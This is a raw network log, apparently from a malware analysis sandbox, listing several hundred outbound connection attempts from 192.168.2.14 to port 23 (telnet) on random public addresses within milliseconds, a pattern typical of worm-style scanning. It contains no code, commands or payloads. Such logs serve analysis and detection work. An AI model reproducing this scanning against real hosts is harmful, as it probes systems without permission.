Oct 14, 2024 17:34:16.124954939 CEST	29508	23	192.168.2.14	220.136.43.72
Oct 14, 2024 17:34:16.124963045 CEST	29508	23	192.168.2.14	43.33.183.82
Oct 14, 2024 17:34:16.124969006 CEST	29508	23	192.168.2.14	173.11.126.143
Oct 14, 2024 17:34:16.124979019 CEST	29508	23	192.168.2.14	166.133.62.132
Oct 14, 2024 17:34:16.124994040 CEST	29508	23	192.168.2.14	107.180.231.206
Oct 14, 2024 17:34:16.124994040 CEST	29508	23	192.168.2.14	71.41.152.20
Oct 14, 2024 17:34:16.124998093 CEST	29508	23	192.168.2.14	219.10.192.246
Oct 14, 2024 17:34:16.125004053 CEST	29508	23	192.168.2.14	88.215.149.112
Oct 14, 2024 17:34:16.125004053 CEST	29508	23	192.168.2.14	119.93.64.155
Oct 14, 2024 17:34:16.125017881 CEST	29508	23	192.168.2.14	80.59.64.62
Oct 14, 2024 17:34:16.125017881 CEST	29508	23	192.168.2.14	222.173.232.150
Oct 14, 2024 17:34:16.125024080 CEST	29508	23	192.168.2.14	51.20.114.202
Oct 14, 2024 17:34:16.125024080 CEST	29508	23	192.168.2.14	124.73.152.193
Oct 14, 2024 17:34:16.125024080 CEST	29508	23	192.168.2.14	101.8.87.67
Oct 14, 2024 17:34:16.125030041 CEST	29508	23	192.168.2.14	199.33.80.197
Oct 14, 2024 17:34:16.125030041 CEST	29508	23	192.168.2.14	99.216.232.235
Oct 14, 2024 17:34:16.125041008 CEST	29508	23	192.168.2.14	65.234.170.41
Oct 14, 2024 17:34:16.125053883 CEST	29508	23	192.168.2.14	134.29.249.161
Oct 14, 2024 17:34:16.125060081 CEST	29508	23	192.168.2.14	223.21.231.131
Oct 14, 2024 17:34:16.125072002 CEST	29508	23	192.168.2.14	78.216.229.245
Oct 14, 2024 17:34:16.125076056 CEST	29508	23	192.168.2.14	47.75.61.125
Oct 14, 2024 17:34:16.125086069 CEST	29508	23	192.168.2.14	91.229.142.83
Oct 14, 2024 17:34:16.125089884 CEST	29508	23	192.168.2.14	94.224.44.67
Oct 14, 2024 17:34:16.125089884 CEST	29508	23	192.168.2.14	191.139.8.59
Oct 14, 2024 17:34:16.125089884 CEST	29508	23	192.168.2.14	148.44.207.128
Oct 14, 2024 17:34:16.125096083 CEST	29508	23	192.168.2.14	109.198.252.118
Oct 14, 2024 17:34:16.125099897 CEST	29508	23	192.168.2.14	122.231.168.207
Oct 14, 2024 17:34:16.125109911 CEST	29508	23	192.168.2.14	37.236.194.185
Oct 14, 2024 17:34:16.125116110 CEST	29508	23	192.168.2.14	203.228.194.143
Oct 14, 2024 17:34:16.125123024 CEST	29508	23	192.168.2.14	124.83.186.177
Oct 14, 2024 17:34:16.125123024 CEST	29508	23	192.168.2.14	103.48.235.14
Oct 14, 2024 17:34:16.125125885 CEST	29508	23	192.168.2.14	124.96.209.228
Oct 14, 2024 17:34:16.125125885 CEST	29508	23	192.168.2.14	90.17.95.139
Oct 14, 2024 17:34:16.125138044 CEST	29508	23	192.168.2.14	113.227.145.252
Oct 14, 2024 17:34:16.125138998 CEST	29508	23	192.168.2.14	193.218.21.198
Oct 14, 2024 17:34:16.125168085 CEST	29508	23	192.168.2.14	87.53.142.149
Oct 14, 2024 17:34:16.125169992 CEST	29508	23	192.168.2.14	158.191.220.165
Oct 14, 2024 17:34:16.125179052 CEST	29508	23	192.168.2.14	134.243.46.106
Oct 14, 2024 17:34:16.125179052 CEST	29508	23	192.168.2.14	170.43.218.41
Oct 14, 2024 17:34:16.125179052 CEST	29508	23	192.168.2.14	184.121.212.196
Oct 14, 2024 17:34:16.125188112 CEST	29508	23	192.168.2.14	27.110.156.37
Oct 14, 2024 17:34:16.125194073 CEST	29508	23	192.168.2.14	2.93.77.218
Oct 14, 2024 17:34:16.125205994 CEST	29508	23	192.168.2.14	99.31.215.220
Oct 14, 2024 17:34:16.125212908 CEST	29508	23	192.168.2.14	111.65.42.25
Oct 14, 2024 17:34:16.125220060 CEST	29508	23	192.168.2.14	136.40.14.6
Oct 14, 2024 17:34:16.125220060 CEST	29508	23	192.168.2.14	182.77.191.226
Oct 14, 2024 17:34:16.125221014 CEST	29508	23	192.168.2.14	87.47.110.89
Oct 14, 2024 17:34:16.125221014 CEST	29508	23	192.168.2.14	143.183.69.102
Oct 14, 2024 17:34:16.125221014 CEST	29508	23	192.168.2.14	159.169.160.72
Oct 14, 2024 17:34:16.125226021 CEST	29508	23	192.168.2.14	57.61.59.249
Oct 14, 2024 17:34:16.125226021 CEST	29508	23	192.168.2.14	63.40.37.124
Oct 14, 2024 17:34:16.125236988 CEST	29508	23	192.168.2.14	147.33.253.237
Oct 14, 2024 17:34:16.125240088 CEST	29508	23	192.168.2.14	46.213.31.53
Oct 14, 2024 17:34:16.125243902 CEST	29508	23	192.168.2.14	149.14.41.164
Oct 14, 2024 17:34:16.125256062 CEST	29508	23	192.168.2.14	193.23.63.152
Oct 14, 2024 17:34:16.125279903 CEST	29508	23	192.168.2.14	146.206.52.54
Oct 14, 2024 17:34:16.125279903 CEST	29508	23	192.168.2.14	58.67.238.251
Oct 14, 2024 17:34:16.125279903 CEST	29508	23	192.168.2.14	149.158.79.208
Oct 14, 2024 17:34:16.125282049 CEST	29508	23	192.168.2.14	81.139.18.192
Oct 14, 2024 17:34:16.125284910 CEST	29508	23	192.168.2.14	81.228.217.172
Oct 14, 2024 17:34:16.125293970 CEST	29508	23	192.168.2.14	207.151.219.198
Oct 14, 2024 17:34:16.125298023 CEST	29508	23	192.168.2.14	141.6.245.205
Oct 14, 2024 17:34:16.125299931 CEST	29508	23	192.168.2.14	2.224.74.78
Oct 14, 2024 17:34:16.125303030 CEST	29508	23	192.168.2.14	75.108.79.168
Oct 14, 2024 17:34:16.125317097 CEST	29508	23	192.168.2.14	86.190.177.214
Oct 14, 2024 17:34:16.125317097 CEST	29508	23	192.168.2.14	196.165.223.87
Oct 14, 2024 17:34:16.125318050 CEST	29508	23	192.168.2.14	165.110.167.221
Oct 14, 2024 17:34:16.125318050 CEST	29508	23	192.168.2.14	61.22.197.156
Oct 14, 2024 17:34:16.125327110 CEST	29508	23	192.168.2.14	96.138.37.26
Oct 14, 2024 17:34:16.125335932 CEST	29508	23	192.168.2.14	5.3.199.73
Oct 14, 2024 17:34:16.125360012 CEST	29508	23	192.168.2.14	85.75.124.22
Oct 14, 2024 17:34:16.125360012 CEST	29508	23	192.168.2.14	38.173.186.16
Oct 14, 2024 17:34:16.125368118 CEST	29508	23	192.168.2.14	143.7.186.181
Oct 14, 2024 17:34:16.125377893 CEST	29508	23	192.168.2.14	143.135.97.120
Oct 14, 2024 17:34:16.125381947 CEST	29508	23	192.168.2.14	37.162.61.25
Oct 14, 2024 17:34:16.125381947 CEST	29508	23	192.168.2.14	31.181.20.228
Oct 14, 2024 17:34:16.125396013 CEST	29508	23	192.168.2.14	19.211.121.38
Oct 14, 2024 17:34:16.125396013 CEST	29508	23	192.168.2.14	154.150.4.190
Oct 14, 2024 17:34:16.125396013 CEST	29508	23	192.168.2.14	47.203.229.227
Oct 14, 2024 17:34:16.125401974 CEST	29508	23	192.168.2.14	36.191.218.111
Oct 14, 2024 17:34:16.125402927 CEST	29508	23	192.168.2.14	31.190.17.94
Oct 14, 2024 17:34:16.125411034 CEST	29508	23	192.168.2.14	32.18.182.220
Oct 14, 2024 17:34:16.125411034 CEST	29508	23	192.168.2.14	87.200.85.7
Oct 14, 2024 17:34:16.125416040 CEST	29508	23	192.168.2.14	64.161.230.240
Oct 14, 2024 17:34:16.125416040 CEST	29508	23	192.168.2.14	161.134.190.71
Oct 14, 2024 17:34:16.125428915 CEST	29508	23	192.168.2.14	117.91.221.224
Oct 14, 2024 17:34:16.125432014 CEST	29508	23	192.168.2.14	83.36.108.187
Oct 14, 2024 17:34:16.125436068 CEST	29508	23	192.168.2.14	194.197.231.203
Oct 14, 2024 17:34:16.125436068 CEST	29508	23	192.168.2.14	124.186.189.32
Oct 14, 2024 17:34:16.125447989 CEST	29508	23	192.168.2.14	219.244.234.45
Oct 14, 2024 17:34:16.125448942 CEST	29508	23	192.168.2.14	79.160.232.127
Oct 14, 2024 17:34:16.125453949 CEST	29508	23	192.168.2.14	54.105.62.101
Oct 14, 2024 17:34:16.125461102 CEST	29508	23	192.168.2.14	121.187.218.83
Oct 14, 2024 17:34:16.125462055 CEST	29508	23	192.168.2.14	150.144.164.135
Oct 14, 2024 17:34:16.125477076 CEST	29508	23	192.168.2.14	181.172.152.232
Oct 14, 2024 17:34:16.125479937 CEST	29508	23	192.168.2.14	2.116.38.200
Oct 14, 2024 17:34:16.125484943 CEST	29508	23	192.168.2.14	139.115.121.117
Oct 14, 2024 17:34:16.125505924 CEST	29508	23	192.168.2.14	162.10.80.115
Oct 14, 2024 17:34:16.125514030 CEST	29508	23	192.168.2.14	160.201.229.156
Oct 14, 2024 17:34:16.125514984 CEST	29508	23	192.168.2.14	60.28.43.223
Oct 14, 2024 17:34:16.125519037 CEST	29508	23	192.168.2.14	99.115.215.232
Oct 14, 2024 17:34:16.125531912 CEST	29508	23	192.168.2.14	168.23.187.136
Oct 14, 2024 17:34:16.125533104 CEST	29508	23	192.168.2.14	207.240.231.103
Oct 14, 2024 17:34:16.125531912 CEST	29508	23	192.168.2.14	72.193.51.47
Oct 14, 2024 17:34:16.125533104 CEST	29508	23	192.168.2.14	147.86.175.184
Oct 14, 2024 17:34:16.125541925 CEST	29508	23	192.168.2.14	83.87.205.6
Oct 14, 2024 17:34:16.125543118 CEST	29508	23	192.168.2.14	157.104.33.79
Oct 14, 2024 17:34:16.125544071 CEST	29508	23	192.168.2.14	12.48.254.192
Oct 14, 2024 17:34:16.125550985 CEST	29508	23	192.168.2.14	205.203.241.204
Oct 14, 2024 17:34:16.125555992 CEST	29508	23	192.168.2.14	4.191.4.178
Oct 14, 2024 17:34:16.125557899 CEST	29508	23	192.168.2.14	223.140.55.135
Oct 14, 2024 17:34:16.125562906 CEST	29508	23	192.168.2.14	222.153.215.75
Oct 14, 2024 17:34:16.125571966 CEST	29508	23	192.168.2.14	152.188.20.3
Oct 14, 2024 17:34:16.125576973 CEST	29508	23	192.168.2.14	60.101.185.41
Oct 14, 2024 17:34:16.125591993 CEST	29508	23	192.168.2.14	31.161.91.213
Oct 14, 2024 17:34:16.125603914 CEST	29508	23	192.168.2.14	182.97.211.167
Oct 14, 2024 17:34:16.125607014 CEST	29508	23	192.168.2.14	86.85.20.189
Oct 14, 2024 17:34:16.125614882 CEST	29508	23	192.168.2.14	64.73.114.193
Oct 14, 2024 17:34:16.125614882 CEST	29508	23	192.168.2.14	50.136.30.17
Oct 14, 2024 17:34:16.125622988 CEST	29508	23	192.168.2.14	187.91.86.61
Oct 14, 2024 17:34:16.125627995 CEST	29508	23	192.168.2.14	140.220.180.32
Oct 14, 2024 17:34:16.125631094 CEST	29508	23	192.168.2.14	36.59.157.199
Oct 14, 2024 17:34:16.125632048 CEST	29508	23	192.168.2.14	18.1.172.67
Oct 14, 2024 17:34:16.125632048 CEST	29508	23	192.168.2.14	190.77.49.40
Oct 14, 2024 17:34:16.125638008 CEST	29508	23	192.168.2.14	75.111.94.62
Oct 14, 2024 17:34:16.125657082 CEST	29508	23	192.168.2.14	192.10.169.161
Oct 14, 2024 17:34:16.125657082 CEST	29508	23	192.168.2.14	152.29.158.237
Oct 14, 2024 17:34:16.125662088 CEST	29508	23	192.168.2.14	212.224.179.36
Oct 14, 2024 17:34:16.125662088 CEST	29508	23	192.168.2.14	103.73.178.153
Oct 14, 2024 17:34:16.125662088 CEST	29508	23	192.168.2.14	8.251.19.198
Oct 14, 2024 17:34:16.125663042 CEST	29508	23	192.168.2.14	2.15.157.36
Oct 14, 2024 17:34:16.125663042 CEST	29508	23	192.168.2.14	47.145.81.22
Oct 14, 2024 17:34:16.125669003 CEST	29508	23	192.168.2.14	202.251.14.191
Oct 14, 2024 17:34:16.125682116 CEST	29508	23	192.168.2.14	32.194.122.72
Oct 14, 2024 17:34:16.125684023 CEST	29508	23	192.168.2.14	53.232.37.177
Oct 14, 2024 17:34:16.125684023 CEST	29508	23	192.168.2.14	177.244.60.56
Oct 14, 2024 17:34:16.125684977 CEST	29508	23	192.168.2.14	34.150.227.156
Oct 14, 2024 17:34:16.125699997 CEST	29508	23	192.168.2.14	124.131.238.46
Oct 14, 2024 17:34:16.125699997 CEST	29508	23	192.168.2.14	135.182.222.97
Oct 14, 2024 17:34:16.125706911 CEST	29508	23	192.168.2.14	168.14.124.142
Oct 14, 2024 17:34:16.125719070 CEST	29508	23	192.168.2.14	44.213.66.102
Oct 14, 2024 17:34:16.125725031 CEST	29508	23	192.168.2.14	196.195.123.83
Oct 14, 2024 17:34:16.125734091 CEST	29508	23	192.168.2.14	77.222.42.250
Oct 14, 2024 17:34:16.125741959 CEST	29508	23	192.168.2.14	182.84.97.236
Oct 14, 2024 17:34:16.125741959 CEST	29508	23	192.168.2.14	5.89.44.31
Oct 14, 2024 17:34:16.125742912 CEST	29508	23	192.168.2.14	8.139.75.214
Oct 14, 2024 17:34:16.125749111 CEST	29508	23	192.168.2.14	154.18.222.227
Oct 14, 2024 17:34:16.125749111 CEST	29508	23	192.168.2.14	143.93.231.5
Oct 14, 2024 17:34:16.125751019 CEST	29508	23	192.168.2.14	220.177.107.94
Oct 14, 2024 17:34:16.125761986 CEST	29508	23	192.168.2.14	132.59.200.74
Oct 14, 2024 17:34:16.125761986 CEST	29508	23	192.168.2.14	164.183.28.222
Oct 14, 2024 17:34:16.125766039 CEST	29508	23	192.168.2.14	209.135.15.61
Oct 14, 2024 17:34:16.125771999 CEST	29508	23	192.168.2.14	36.56.123.149
Oct 14, 2024 17:34:16.125787020 CEST	29508	23	192.168.2.14	160.121.49.163
Oct 14, 2024 17:34:16.125787973 CEST	29508	23	192.168.2.14	70.134.34.127
Oct 14, 2024 17:34:16.125792027 CEST	29508	23	192.168.2.14	73.25.176.191
Oct 14, 2024 17:34:16.125797033 CEST	29508	23	192.168.2.14	50.31.145.51
Oct 14, 2024 17:34:16.125797033 CEST	29508	23	192.168.2.14	175.15.124.202
Oct 14, 2024 17:34:16.125808954 CEST	29508	23	192.168.2.14	41.223.222.124
Oct 14, 2024 17:34:16.125818014 CEST	29508	23	192.168.2.14	86.222.45.78
Oct 14, 2024 17:34:16.125818968 CEST	29508	23	192.168.2.14	193.253.32.106
Oct 14, 2024 17:34:16.125833035 CEST	29508	23	192.168.2.14	184.182.129.63
Oct 14, 2024 17:34:16.125849962 CEST	29508	23	192.168.2.14	186.11.214.172
Oct 14, 2024 17:34:16.125849962 CEST	29508	23	192.168.2.14	196.237.11.113
Oct 14, 2024 17:34:16.125850916 CEST	29508	23	192.168.2.14	162.145.133.113
Oct 14, 2024 17:34:16.125850916 CEST	29508	23	192.168.2.14	176.154.138.216
Oct 14, 2024 17:34:16.125854015 CEST	29508	23	192.168.2.14	140.4.117.162
Oct 14, 2024 17:34:16.125855923 CEST	29508	23	192.168.2.14	141.189.78.138
Oct 14, 2024 17:34:16.125873089 CEST	29508	23	192.168.2.14	103.87.218.73
Oct 14, 2024 17:34:16.125873089 CEST	29508	23	192.168.2.14	106.156.46.246
Oct 14, 2024 17:34:16.125875950 CEST	29508	23	192.168.2.14	170.32.19.226
Oct 14, 2024 17:34:16.125881910 CEST	29508	23	192.168.2.14	27.37.217.51
Oct 14, 2024 17:34:16.125883102 CEST	29508	23	192.168.2.14	89.117.17.156
Oct 14, 2024 17:34:16.125889063 CEST	29508	23	192.168.2.14	220.99.119.49
Oct 14, 2024 17:34:16.125890017 CEST	29508	23	192.168.2.14	88.94.90.56
Oct 14, 2024 17:34:16.125895023 CEST	29508	23	192.168.2.14	2.17.74.71
Oct 14, 2024 17:34:16.125900984 CEST	29508	23	192.168.2.14	182.42.252.218
Oct 14, 2024 17:34:16.125914097 CEST	29508	23	192.168.2.14	94.213.57.212
Oct 14, 2024 17:34:16.125931978 CEST	29508	23	192.168.2.14	82.124.166.227
Oct 14, 2024 17:34:16.125936985 CEST	29508	23	192.168.2.14	75.12.241.79
Oct 14, 2024 17:34:16.125946999 CEST	29508	23	192.168.2.14	172.134.101.24
Oct 14, 2024 17:34:16.125947952 CEST	29508	23	192.168.2.14	213.64.163.216
Oct 14, 2024 17:34:16.125953913 CEST	29508	23	192.168.2.14	37.221.180.33
Oct 14, 2024 17:34:16.125953913 CEST	29508	23	192.168.2.14	128.173.76.129
Oct 14, 2024 17:34:16.125957012 CEST	29508	23	192.168.2.14	76.7.186.14
Oct 14, 2024 17:34:16.125963926 CEST	29508	23	192.168.2.14	50.64.153.15
Oct 14, 2024 17:34:16.125963926 CEST	29508	23	192.168.2.14	119.189.221.3
Oct 14, 2024 17:34:16.125963926 CEST	29508	23	192.168.2.14	202.140.181.201
Oct 14, 2024 17:34:16.125966072 CEST	29508	23	192.168.2.14	85.136.165.230
Oct 14, 2024 17:34:16.125967026 CEST	29508	23	192.168.2.14	156.10.38.224
Oct 14, 2024 17:34:16.125968933 CEST	29508	23	192.168.2.14	90.42.238.201
Oct 14, 2024 17:34:16.125979900 CEST	29508	23	192.168.2.14	117.133.206.96
Oct 14, 2024 17:34:16.125982046 CEST	29508	23	192.168.2.14	130.53.181.155
Oct 14, 2024 17:34:16.125993967 CEST	29508	23	192.168.2.14	212.246.78.104
Oct 14, 2024 17:34:16.126003027 CEST	29508	23	192.168.2.14	174.4.237.81
Oct 14, 2024 17:34:16.126003027 CEST	29508	23	192.168.2.14	126.200.58.15
Oct 14, 2024 17:34:16.126010895 CEST	29508	23	192.168.2.14	88.48.9.222
Oct 14, 2024 17:34:16.126019955 CEST	29508	23	192.168.2.14	71.47.143.106
Oct 14, 2024 17:34:16.126028061 CEST	29508	23	192.168.2.14	69.80.184.28
Oct 14, 2024 17:34:16.126028061 CEST	29508	23	192.168.2.14	160.82.249.177
Oct 14, 2024 17:34:16.126034021 CEST	29508	23	192.168.2.14	47.218.68.77
Oct 14, 2024 17:34:16.126041889 CEST	29508	23	192.168.2.14	116.227.215.57
Oct 14, 2024 17:34:16.126044989 CEST	29508	23	192.168.2.14	135.193.115.89
Oct 14, 2024 17:34:16.126055002 CEST	29508	23	192.168.2.14	91.137.151.69
Oct 14, 2024 17:34:16.126056910 CEST	29508	23	192.168.2.14	46.24.142.142
Oct 14, 2024 17:34:16.126064062 CEST	29508	23	192.168.2.14	40.39.67.141
Oct 14, 2024 17:34:16.126065016 CEST	29508	23	192.168.2.14	167.242.136.153
Oct 14, 2024 17:34:16.126071930 CEST	29508	23	192.168.2.14	68.67.192.46
Oct 14, 2024 17:34:16.126077890 CEST	29508	23	192.168.2.14	177.207.247.145
Oct 14, 2024 17:34:16.126082897 CEST	29508	23	192.168.2.14	189.222.47.248
Oct 14, 2024 17:34:16.126090050 CEST	29508	23	192.168.2.14	42.108.9.228
Oct 14, 2024 17:34:16.126101017 CEST	29508	23	192.168.2.14	67.40.36.204
Oct 14, 2024 17:34:16.126106024 CEST	29508	23	192.168.2.14	37.250.56.216
Oct 14, 2024 17:34:16.126111984 CEST	29508	23	192.168.2.14	74.15.198.234
Oct 14, 2024 17:34:16.126112938 CEST	29508	23	192.168.2.14	68.249.169.77
Oct 14, 2024 17:34:16.126126051 CEST	29508	23	192.168.2.14	69.136.56.160
Oct 14, 2024 17:34:16.126137018 CEST	29508	23	192.168.2.14	119.47.47.185
Oct 14, 2024 17:34:16.126137972 CEST	29508	23	192.168.2.14	154.187.128.182
Oct 14, 2024 17:34:16.126140118 CEST	29508	23	192.168.2.14	97.252.23.23
Oct 14, 2024 17:34:16.126143932 CEST	29508	23	192.168.2.14	66.124.6.36
Oct 14, 2024 17:34:16.126152992 CEST	29508	23	192.168.2.14	145.243.242.29
Oct 14, 2024 17:34:16.126152992 CEST	29508	23	192.168.2.14	69.68.210.238
Oct 14, 2024 17:34:16.126168966 CEST	29508	23	192.168.2.14	48.162.160.74
Oct 14, 2024 17:34:16.126168966 CEST	29508	23	192.168.2.14	20.5.205.157
Oct 14, 2024 17:34:16.126169920 CEST	29508	23	192.168.2.14	80.143.236.55
Oct 14, 2024 17:34:16.126178026 CEST	29508	23	192.168.2.14	147.151.243.133
Oct 14, 2024 17:34:16.126178026 CEST	29508	23	192.168.2.14	178.230.116.8
Oct 14, 2024 17:34:16.126184940 CEST	29508	23	192.168.2.14	45.3.252.62
Oct 14, 2024 17:34:16.126184940 CEST	29508	23	192.168.2.14	47.203.208.50
Oct 14, 2024 17:34:16.126187086 CEST	29508	23	192.168.2.14	124.231.78.59
Oct 14, 2024 17:34:16.126200914 CEST	29508	23	192.168.2.14	77.230.164.207
Oct 14, 2024 17:34:16.126204014 CEST	29508	23	192.168.2.14	99.75.7.111
Oct 14, 2024 17:34:16.126209021 CEST	29508	23	192.168.2.14	163.5.240.180
Oct 14, 2024 17:34:16.126218081 CEST	29508	23	192.168.2.14	129.80.92.172
Oct 14, 2024 17:34:16.126218081 CEST	29508	23	192.168.2.14	213.178.99.152
Oct 14, 2024 17:34:16.126220942 CEST	29508	23	192.168.2.14	201.175.208.177
Oct 14, 2024 17:34:16.126220942 CEST	29508	23	192.168.2.14	150.166.221.244
Oct 14, 2024 17:34:16.126220942 CEST	29508	23	192.168.2.14	185.252.200.232
Oct 14, 2024 17:34:16.126220942 CEST	29508	23	192.168.2.14	66.173.237.12
Oct 14, 2024 17:34:16.126229048 CEST	29508	23	192.168.2.14	70.222.206.142
Oct 14, 2024 17:34:16.126235008 CEST	29508	23	192.168.2.14	165.255.30.116
Oct 14, 2024 17:34:16.126240015 CEST	29508	23	192.168.2.14	118.235.145.146
Oct 14, 2024 17:34:16.126255035 CEST	29508	23	192.168.2.14	183.230.204.40
Oct 14, 2024 17:34:16.126261950 CEST	29508	23	192.168.2.14	39.243.138.120
Oct 14, 2024 17:34:16.126266956 CEST	29508	23	192.168.2.14	111.4.195.190
Oct 14, 2024 17:34:16.126266956 CEST	29508	23	192.168.2.14	111.247.92.207
Oct 14, 2024 17:34:16.126272917 CEST	29508	23	192.168.2.14	51.241.72.237
Oct 14, 2024 17:34:16.126285076 CEST	29508	23	192.168.2.14	60.64.81.116
Oct 14, 2024 17:34:16.126285076 CEST	29508	23	192.168.2.14	54.211.170.105
Oct 14, 2024 17:34:16.126286983 CEST	29508	23	192.168.2.14	213.21.21.187
Oct 14, 2024 17:34:16.126296043 CEST	29508	23	192.168.2.14	14.228.106.68
Oct 14, 2024 17:34:16.126302958 CEST	29508	23	192.168.2.14	108.88.50.204
Oct 14, 2024 17:34:16.126306057 CEST	29508	23	192.168.2.14	104.16.173.159
Oct 14, 2024 17:34:16.126307964 CEST	29508	23	192.168.2.14	119.27.168.232
Oct 14, 2024 17:34:16.126319885 CEST	29508	23	192.168.2.14	208.81.149.144
Oct 14, 2024 17:34:16.126323938 CEST	29508	23	192.168.2.14	17.148.212.3
Oct 14, 2024 17:34:16.126334906 CEST	29508	23	192.168.2.14	139.46.200.183
Oct 14, 2024 17:34:16.126338005 CEST	29508	23	192.168.2.14	5.23.71.62
Oct 14, 2024 17:34:16.126353025 CEST	29508	23	192.168.2.14	102.164.113.225
Oct 14, 2024 17:34:16.126353979 CEST	29508	23	192.168.2.14	18.80.167.81
Oct 14, 2024 17:34:16.126353979 CEST	29508	23	192.168.2.14	82.10.241.68
Oct 14, 2024 17:34:16.126353979 CEST	29508	23	192.168.2.14	85.13.50.232
Oct 14, 2024 17:34:16.126353979 CEST	29508	23	192.168.2.14	120.86.4.65
Oct 14, 2024 17:34:16.126360893 CEST	29508	23	192.168.2.14	164.248.69.122
Oct 14, 2024 17:34:16.126378059 CEST	29508	23	192.168.2.14	223.179.78.127
Oct 14, 2024 17:34:16.126379013 CEST	29508	23	192.168.2.14	140.247.200.252
Oct 14, 2024 17:34:16.126382113 CEST	29508	23	192.168.2.14	163.143.214.201
Oct 14, 2024 17:34:16.126393080 CEST	29508	23	192.168.2.14	58.31.186.78
Oct 14, 2024 17:34:16.126398087 CEST	29508	23	192.168.2.14	157.229.161.144
Oct 14, 2024 17:34:16.126405001 CEST	29508	23	192.168.2.14	58.153.71.84
Oct 14, 2024 17:34:16.126415968 CEST	29508	23	192.168.2.14	49.184.81.152
Oct 14, 2024 17:34:16.126415968 CEST	29508	23	192.168.2.14	110.110.83.234
Oct 14, 2024 17:34:16.126422882 CEST	29508	23	192.168.2.14	181.153.72.191
Oct 14, 2024 17:34:16.126430988 CEST	29508	23	192.168.2.14	90.132.1.135
Oct 14, 2024 17:34:16.126431942 CEST	29508	23	192.168.2.14	43.87.149.127
Oct 14, 2024 17:34:16.126440048 CEST	29508	23	192.168.2.14	183.132.246.250
Oct 14, 2024 17:34:16.126440048 CEST	29508	23	192.168.2.14	5.141.15.60
Oct 14, 2024 17:34:16.126444101 CEST	29508	23	192.168.2.14	154.171.212.101
Oct 14, 2024 17:34:16.126444101 CEST	29508	23	192.168.2.14	133.60.73.225
Oct 14, 2024 17:34:16.126444101 CEST	29508	23	192.168.2.14	183.173.166.244
Oct 14, 2024 17:34:16.126449108 CEST	29508	23	192.168.2.14	165.116.199.193
Oct 14, 2024 17:34:16.126456022 CEST	29508	23	192.168.2.14	13.79.76.166
Oct 14, 2024 17:34:16.126461983 CEST	29508	23	192.168.2.14	111.130.241.236
Oct 14, 2024 17:34:16.126481056 CEST	29508	23	192.168.2.14	169.30.19.211
Oct 14, 2024 17:34:16.126482010 CEST	29508	23	192.168.2.14	108.184.86.151
Oct 14, 2024 17:34:16.126481056 CEST	29508	23	192.168.2.14	42.81.195.158
Oct 14, 2024 17:34:16.126494884 CEST	29508	23	192.168.2.14	183.33.173.77
Oct 14, 2024 17:34:16.126498938 CEST	29508	23	192.168.2.14	188.86.20.172
Oct 14, 2024 17:34:16.126504898 CEST	29508	23	192.168.2.14	76.97.189.157
Oct 14, 2024 17:34:16.126521111 CEST	29508	23	192.168.2.14	43.9.80.63
Oct 14, 2024 17:34:16.126523972 CEST	29508	23	192.168.2.14	23.181.111.205
Oct 14, 2024 17:34:16.126527071 CEST	29508	23	192.168.2.14	146.30.63.107
Oct 14, 2024 17:34:16.126527071 CEST	29508	23	192.168.2.14	172.80.125.175
Oct 14, 2024 17:34:16.126533031 CEST	29508	23	192.168.2.14	57.198.9.231
Oct 14, 2024 17:34:16.126533985 CEST	29508	23	192.168.2.14	181.45.146.106
Oct 14, 2024 17:34:16.126533031 CEST	29508	23	192.168.2.14	213.33.236.100
Oct 14, 2024 17:34:16.126544952 CEST	29508	23	192.168.2.14	223.163.242.209
Oct 14, 2024 17:34:16.126550913 CEST	29508	23	192.168.2.14	35.93.211.76
Oct 14, 2024 17:34:16.126550913 CEST	29508	23	192.168.2.14	13.165.63.241
Oct 14, 2024 17:34:16.126553059 CEST	29508	23	192.168.2.14	148.157.116.27
Oct 14, 2024 17:34:16.126553059 CEST	29508	23	192.168.2.14	156.148.211.253
Oct 14, 2024 17:34:16.126569033 CEST	29508	23	192.168.2.14	150.98.19.196
Oct 14, 2024 17:34:16.126578093 CEST	29508	23	192.168.2.14	2.94.195.120
Oct 14, 2024 17:34:16.126581907 CEST	29508	23	192.168.2.14	77.173.94.122
Oct 14, 2024 17:34:16.126584053 CEST	29508	23	192.168.2.14	206.178.85.214
Oct 14, 2024 17:34:16.126585960 CEST	29508	23	192.168.2.14	50.48.208.195
Oct 14, 2024 17:34:16.126590967 CEST	29508	23	192.168.2.14	41.71.251.222
Oct 14, 2024 17:34:16.126600981 CEST	29508	23	192.168.2.14	187.238.208.142
Oct 14, 2024 17:34:16.126607895 CEST	29508	23	192.168.2.14	199.217.126.53
Oct 14, 2024 17:34:16.126610041 CEST	29508	23	192.168.2.14	139.139.239.11
Oct 14, 2024 17:34:16.126610994 CEST	29508	23	192.168.2.14	155.185.47.25
Oct 14, 2024 17:34:16.126610041 CEST	29508	23	192.168.2.14	155.137.62.222
Oct 14, 2024 17:34:16.126626968 CEST	29508	23	192.168.2.14	181.35.121.119
Oct 14, 2024 17:34:16.126632929 CEST	29508	23	192.168.2.14	195.68.30.163
Oct 14, 2024 17:34:16.126646042 CEST	29508	23	192.168.2.14	212.32.90.238
Oct 14, 2024 17:34:16.126646042 CEST	29508	23	192.168.2.14	117.132.177.185
Oct 14, 2024 17:34:16.126646042 CEST	29508	23	192.168.2.14	14.72.247.111
Oct 14, 2024 17:34:16.126651049 CEST	29508	23	192.168.2.14	188.180.194.180
Oct 14, 2024 17:34:16.126652002 CEST	29508	23	192.168.2.14	168.79.233.78
Oct 14, 2024 17:34:16.126657009 CEST	29508	23	192.168.2.14	122.63.228.131
Oct 14, 2024 17:34:16.126667023 CEST	29508	23	192.168.2.14	118.191.194.253
Oct 14, 2024 17:34:16.126679897 CEST	29508	23	192.168.2.14	47.3.166.50
Oct 14, 2024 17:34:16.126681089 CEST	29508	23	192.168.2.14	191.12.50.83
Oct 14, 2024 17:34:16.126699924 CEST	29508	23	192.168.2.14	66.115.104.152
Oct 14, 2024 17:34:16.126713991 CEST	29508	23	192.168.2.14	187.51.0.171
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	131.143.132.108
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	189.36.148.36
Oct 14, 2024 17:34:16.126718044 CEST	29508	23	192.168.2.14	61.104.239.145
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	161.19.20.151
Oct 14, 2024 17:34:16.126718044 CEST	29508	23	192.168.2.14	203.62.10.211
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	148.146.255.26
Oct 14, 2024 17:34:16.126718044 CEST	29508	23	192.168.2.14	53.15.207.202
Oct 14, 2024 17:34:16.126723051 CEST	29508	23	192.168.2.14	50.68.91.137
